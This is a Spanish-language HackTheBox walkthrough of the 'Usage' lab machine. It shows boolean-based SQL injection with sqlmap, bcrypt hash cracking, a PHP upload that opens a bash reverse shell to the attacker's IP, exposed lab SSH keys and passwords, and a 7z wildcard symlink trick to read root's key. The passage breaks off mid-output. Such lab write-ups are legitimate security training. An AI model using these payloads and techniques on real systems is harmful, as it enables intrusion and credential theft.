Usage – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
Usage
es una máquina de dificultad fácil, basada en Linux
, de la plataforma HackTheBox
. Luego de un escaneo inicial sobre los puertos TCP
, éstos muestran que la máquina víctima está corriendo un sitio web. Este sitio web presenta un simple panel de login, en el cual somos capaces de crear un nuevo usuario y encontrar un nuevo subdominio para el sitio. El sitio web provee una opción para resetear/reiniciar la contraseña de nuestro usuario creado; sin embargo, esta función es vulnerable a SQL Injection
(inyección SQL). Gracias a esta vulnerabilidad somos capaces de encontrar las credenciales para el panel de administración el cual se hallaba en el subdominio encontrado previamente. Una vez dentro de este panel, vemos que éste está usando una versión vulnerable de Laravel
a CVE-2023-24249. Gracias a esta nueva vulnerabilidad somos capaces de ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales en alguno de los archivos a los cuales tenemos acceso y usar éstas para pivotear a un nuevo usuario dentro de la máquina. Este nuevo usuario puede correr un binario personalizado junto con sudo
. Usando Ghidra
performamos Reverse engineering
(ingeniería inversa) sobre este binario y encontramos que éste está ejecutando 7z
junto con un wildcard (*
). Esto nos permite leer archivos como root
, como, por ejemplo, su key de SSH; la cual nos permite loguearnos como root
a través de SSH
en la máquina víctima.
User / Usuario Link to heading
Empezamos con un escaneo con Nmap
para ver por puertos utilizando protocolo TCP
que estén abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.18
El scan de Nmap
sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.18 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 20:04 -04
Nmap scan report for 10.10.11.18
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.96 seconds
Del output del scan, noto que el puerto HTTP
está redirigiendo al sitio http://usage.htb
. De manera que agrego este dominio a mi archivo /etc/hosts
corriendo:
❯ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
Utilizando la herramienta WhatWeb
noto además que este sitio está usando Laravel
:
❯ whatweb -a 3 http://usage.htb
http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Visitando http://usage.htb
desde un navegador de internet muestra un simple panel de login:
Dado que no tengo credenciales, trataré de crearme un usuario clickeando arriba a la derecha en Register
. Esto nos redirige a http://usage.htb/registration
. Allí nos creamos una cuenta genérica:
Logueándose en http://usage.htb
con la cuenta creada podemos ver ahora que la página muestra algo distinto:
No obstante, el sitio en sí no muestra nada interesante.
Lo único que noto es que en la parte superior derecha hay un texto de Admin
el cual redirige a admin.usage.htb
, de manera que agrego este nuevo subdominio a mi archivo /etc/hosts
. Ahora éste se ve como:
❯ tail -n 1 /etc/hosts
10.10.11.18 usage.htb admin.usage.htb
Visitando http://admin.usage.htb
muestra otro panel de login:
pero, de nuevo, no soy capaz de ver nada interesante.
Una última cosa que podemos revisar es el botón de Reset Password
(reiniciar contraseña). Éste redirige a http://usage.htb/forget-password
:
Aquí pondre un e-mail aleatorio y a la petición que se realizará la interceptaré utilizando la herramienta Burpsuite
. La petición interceptada se ve como:
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email=test%40test.com
Envío esto al Repeater
dentro de Burpsuite
y empiezo a jugar con los parámetros. Jugando con el parámetro de email
nos da algo. Si envío un payload de SQL Injection
(SQLi
) como:
ORDER BY 8-- -
con Burpsuite
en el parámetro email
:
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email='+ORDER+BY+8--+-
Éste retorna código 302 Found
.
Pero si cambio el payload a:
ORDER BY 9-- -
en Burpsuite
con la petición:
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email='+ORDER+BY+9--+-
obtenemos código 500 Internal Server Error
.
Esto puede indicar una vulnerabilidad SQLi
de tipo “Boolean-based blind” (ciega basada en booleanos).
De manera que empezaré a utilizar la herramienta SQLMap
dado que hemos detectado un parámetro inyectable. En Burpsuite
hago click derecho sobre la petición/request (con el parámetro email=test@test.com
), luego selecciono la opción Copy to file
(copiar a archivo) y lo guardo como request.req
. Hecho esto empiezo a usar SQLMap
:
❯ sqlmap -r request.req --batch -p 'email' --level 5 --risk 2 --technique=B
<SNIP>
[21:43:06] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 159 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email=test@test.com' AND 4290=(SELECT (CASE WHEN (4290=4290) THEN 4290 ELSE (SELECT 3154 UNION SELECT 6462) END))-- ENph
---
[21:43:28] [INFO] testing MySQL
[21:43:30] [INFO] confirming MySQL
[21:43:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[21:43:34] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 76 times
<SNIP>
donde --technique=B
especifica el tipo de técnica/inyección “Boolean-based blind” (lo cual nos ahorra mucho tiempo), tal cual hemos encontrado.
Luego extraemos las databases/bases de datos con la flag --dbs
:
❯ sqlmap -r request.req --batch --dbs --threads 10
<SNIP>
[21:48:56] [INFO] retrieved: information_schema
[21:48:56] [INFO] retrieving the length of query output
[21:48:56] [INFO] retrieved: 18
[21:49:19] [INFO] retrieved: performance_schema
[21:49:19] [INFO] retrieving the length of query output
[21:49:19] [INFO] retrieved: 10
[21:49:36] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
<SNIP>
La base de datos usage_blog
se ve interesante. Revisando sus tablas con la flag --tables
y seleccionando la database con la flag -D
tenemos:
❯ sqlmap -r request.req --batch -D usage_blog --tables --threads 10
<SNIP>
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
<SNIP>
Ahora podemos usar -T
para seleccionar una tabla, -C
para seleccionar las columnas en las cuales estamos interesados, y --dump
para extraer la información que se encuentra en ellas. Primero, decido chequear la tabla de users
. Como resultado extraigo las credenciales del usuario que me acababa de crear, además de otros 2 usuarios:
❯ sqlmap -r request.req --batch -D usage_blog -T users -C name,email,password --dump --threads 10
<SNIP>
Database: usage_blog
Table: users
[3 entries]
+---------+---------------------+--------------------------------------------------------------+
| name | email | password |
+---------+---------------------+--------------------------------------------------------------+
| gunzf0x | gunzf0x@gunzf0x.htb | $2y$10$Iwn4leouz.OMaCrCrNAnju3DeLg44iBomGinDkBvoJi1yzT3L2lhm |
| raj | raj@raj.com | $2y$10$7ALmTTEYfRVd8Rnyep/ck.bSFKfXfsltPLkyQqSp/TT7X1wApJt4. |
| raj | raj@usage.htb | $2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa |
+---------+---------------------+--------------------------------------------------------------+
<SNIP>
Donde encontramos algunos hashes. Guardo estos hashes en mi máquina de atacante para performar un ataque de Brute Force Password Cracking
(crackear las contraseñas por fuerza bruta) con la herramienta JohnTheRipper
(john
) y obtengo:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt raj_credentials
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xander (raj2)
xander (raj1)
2g 0:00:00:37 DONE (2024-05-30 22:11) 0.05376g/s 59.27p/s 118.5c/s 118.5C/s monalisa..iloveme2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Donde obtengo las credenciales: raj:xander
.
Puedo loguearme con estas credenciales dentro de http://usage.htb
, pero veo exactamente lo mismo que veía con la cuenta genérica que me había creado. Nada nuevo, tristemente. Estas credenciales tampoco funcionan en http://admin.usage.htb
.
De vuelta a SQLMap
recuerdo una tabla de admin_users
. Trato de extraer su contenido, de donde puedo ver las columnas de username
(usuario) y password
(contraseña):
❯ sqlmap -r request.req --batch -D usage_blog -T admin_users -C username,password --dump --threads 10
<SNIP>
Database: usage_blog
Table: admin_users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
+----------+--------------------------------------------------------------+
<SNIP>
encontrando un nuevo hash y usuario.
Guardo este usuario y hash en un archivo y, nuevamente, performo un Brute Force Password Cracking
con john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt admin_credentials
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1 (admin)
1g 0:00:00:11 DONE (2024-05-30 22:17) 0.08598g/s 139.2p/s 139.2c/s 139.2C/s amber1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
donde encuentro las credenciales: admin:whatever1
Decido usar estas credenciales en el panel de http://admin.usage.htb
y funcionan. Ahora podemos ver:
donde claramente puedo ver una versión 10.18.0
para Laravel
.
Buscando por exploits para esta versión encuentro la vulnerabilidad catalogada como CVE-2023-24249. En corto, esta vulnerabilidad nos permite ejecutar código arbitrario a través de archivos PHP
. Clickeamos en el nombre Administrator
en la parte superior derecha, luego en Settings
y deberíamos ver una página como la siguiente:
Noto que puedo subir archivos y que cuando éstos son subidos, se suben a https://admin.usage.htb/uploads/images/<image-name>
. Pero luego de algún tiempo el sistema aplica un reseteo (borra el archivo subido), de manera que debemos de actuar rápido en los siguientes pasos.
Ahora interceptamos la petición enviada al subir una imagen con Burpsuite
. Clickeo en Reset
y subo una imagen random png
llamada sample.png
. Luego, cuando clickeamos en Submit
, la petición es interceptada por Burpsuite
. En la data de la imagen subo el payload basado en PHP
:
<?php system('bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'); ?>
donde 10.10.16.6
es my IP de atacante y 443
es el puerto en el cual me pondré en escucha con netcat
. Además, antes de subir la imagen, decido setear la variable filename
como sample.png.php
Empiezo un listener con netcat
en el puerto 443
:
❯ nc -lvnp 443
Subo el archivo y rápidamente visito https://admin.usage.htb/uploads/images/sample.png.php
y obtengo una shell como el usuario dash
en mi listener:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.18] 33774
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ whoami
whoami
dash
Ya podríamos ser capaces de leer la flag de usuario, pero decido chequear si nos podemos loguear via SSH
. Noto que este usuario tiene una SSH
key en /home/dash/.ssh/
:
dash@usage:/var/www/html/project_admin/public/uploads/images$ cat /home/dash/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----
la cual guardo en un archivo llamado dash_id_rsa
en mi máquina de atacante.
Una vez guardada, le asigno permisos y la uso para conectarme via SSH
a la máquina víctima:
❯ nvim id_rsa_dash # save the key
❯ chmod 600 id_rsa_dash
❯ ssh -i id_rsa_dash dash@10.10.11.18
<SNIP>
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Apr 8 12:35:43 2024 from 10.10.14.40
dash@usage:~$ whoami
dash
y podemos obtener la flag de usuario.
Root Link to heading
Decido subir LinPEAS
a la máquina víctima (el cual puede ser descargado desde su repositorio de Github) usando scp
:
❯ scp -i id_rsa_dash linpeas.sh dash@10.10.11.18:/tmp/linpeas.sh
y le asigno permisos de ejecución corriendo chmod +x /tmp/linpeas.sh
.
Correr este script nos muestra valiosa información como valores de un archivo .env
con una password:
dash@usage:~$ /tmp/linpeas.sh
<SNIP>
╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rwxrwxr-x 1 dash dash 5289 Aug 13 2023 /var/www/html/project_admin/config/database.php
<SNIP>
╔══════════╣ Analyzing Env Files (limit 70)
-rwxrwxr-x 1 dash dash 1176 Aug 23 2023 /var/www/html/project_admin/.env
<SNIP>
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=usage_blog
DB_USERNAME=staff
DB_PASSWORD=s3cr3t_c0d3d_1uth
<SNIP>
pero noto que esta es la base de datos que ya hemos dumpeado a través de la vunlerabilidad SQLi
, de manera que no vale la pena perder el tiempo en esta.
Decido revisar por archivos en el directorio /home/dash
. El archivo .monitrc
no es un archivo muy común. Leyendo su contenido tenemos:
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alert
Donde puedo ver credenciales: admin:3nc0d3d_pa$$w0rd
.
Revisando por usuarios con directorio /home
en esta máquina tenemos:
dash@usage:~$ ls /home
dash xander
Trato de pivotear al usuario xander
usando la nueva contraseña encontrada (3nc0d3d_pa$$w0rd
) y funciona:
dash@usage:~$ su xander
Password:
xander@usage:/home/dash$
Reviso qué programas puede correr este nuevo usuario con sudo
y tenemos un programa:
xander@usage:/home/dash$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
Encontramos que este usuario puede correr el binario /usr/bin/usage_management
como root
sin necesidad de proveer contraseña.
El archivo es un binario compilado:
xander@usage:/home/dash$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
Usando strings
tenemos alguna info:
xander@usage:/home/dash$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
<SNIP>
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
<SNIP>
pero sigo sin saber del todo qué es lo que hace este binario.
Sólo para jugar con un poco de Reverse Engineering
paso este binario a mi máquina usando scp
. En mi máquina de atacante corro:
❯ scp -i id_rsa_dash dash@10.10.11.18:/usr/bin/usage_management ./usage_management
Luego, abro este binario con la herramienta Ghidra
. Analizando la función main
éste se ve como un programa escrito en C
:
donde la función main
es:
undefined8 main(void)
{
int local_c;
puts("Choose an option:");
puts("1. Project Backup");
puts("2. Backup MySQL data");
puts("3. Reset admin password");
printf("Enter your choice (1/2/3): ");
__isoc99_scanf(&DAT_0010214c,&local_c);
if (local_c == 3) {
resetAdminPassword();
return 0;
}
if (local_c < 4) {
if (local_c == 1) {
backupWebContent();
return 0;
}
if (local_c == 2) {
backupMysqlData();
return 0;
}
}
puts("Invalid choice.");
return 0;
}
Al ejecutar el binario éste da diferentes opciones. Como se espera, seleccionar diferentes opciones activa diferentes funciones. Analizando la función resetAdminPassword
, la cual se ve prometedora (la cual es ejecutada si elegimos la opción 3
en el binario), literalmente no hace nada; sólo vende humo. Simplemente imprime un mensaje:
void resetAdminPassword(void)
{
puts("Password has been reset.");
return;
}
- Pero la función
backupWebContent
(la cual es ejecutada si elegimos la opción1. Project Backup
) se ve interesante:
void backupWebContent(void)
{
int iVar1;
iVar1 = chdir("/var/www/html");
if (iVar1 == 0) {
system("/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *");
}
else {
perror("Error changing working directory to /var/www/html");
}
return;
}
El binario está ejecutando system
junto con 7z
para crear un backup. No obstante, la parte “vulnerable” del código es el símbolo *
(wildcard).
Revisando en HackTricks cómo abusar de wildcards con 7z vemos que somos capaces de leer archivos que solo el usuario root
debería poder leer. Los pasos explicados en la página son los siguientes:
cd /al/directorio/donde/actua/7z # nos movemos al directorio asignado donde actua 7z
touch @root.txt # creamos un archivo
ln -s /archivo/que/queremos/leer.txt root.txt # creamos un link simbólico entre el archivo creado y el archivo de root a leer
De manera que lo modificamos para nuestros propósitos. Tal cual se puede ver en la función backupWebContent
, el directorio donde actúa 7z
(“acting folder”) es /var/www/html
. Podemos tratar de leer directamente la flag /root/root.txt
o, para ganar acceso como el usuario root
, intentar leer el archivo/SSH key /root/.ssh/id_rsa
(esperando que éste exista). De esta forma corremos en la máquina víctima:
xander@usage:/tmp$ cd /var/www/html
xander@usage:/var/www/html$ touch @id_rsa
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
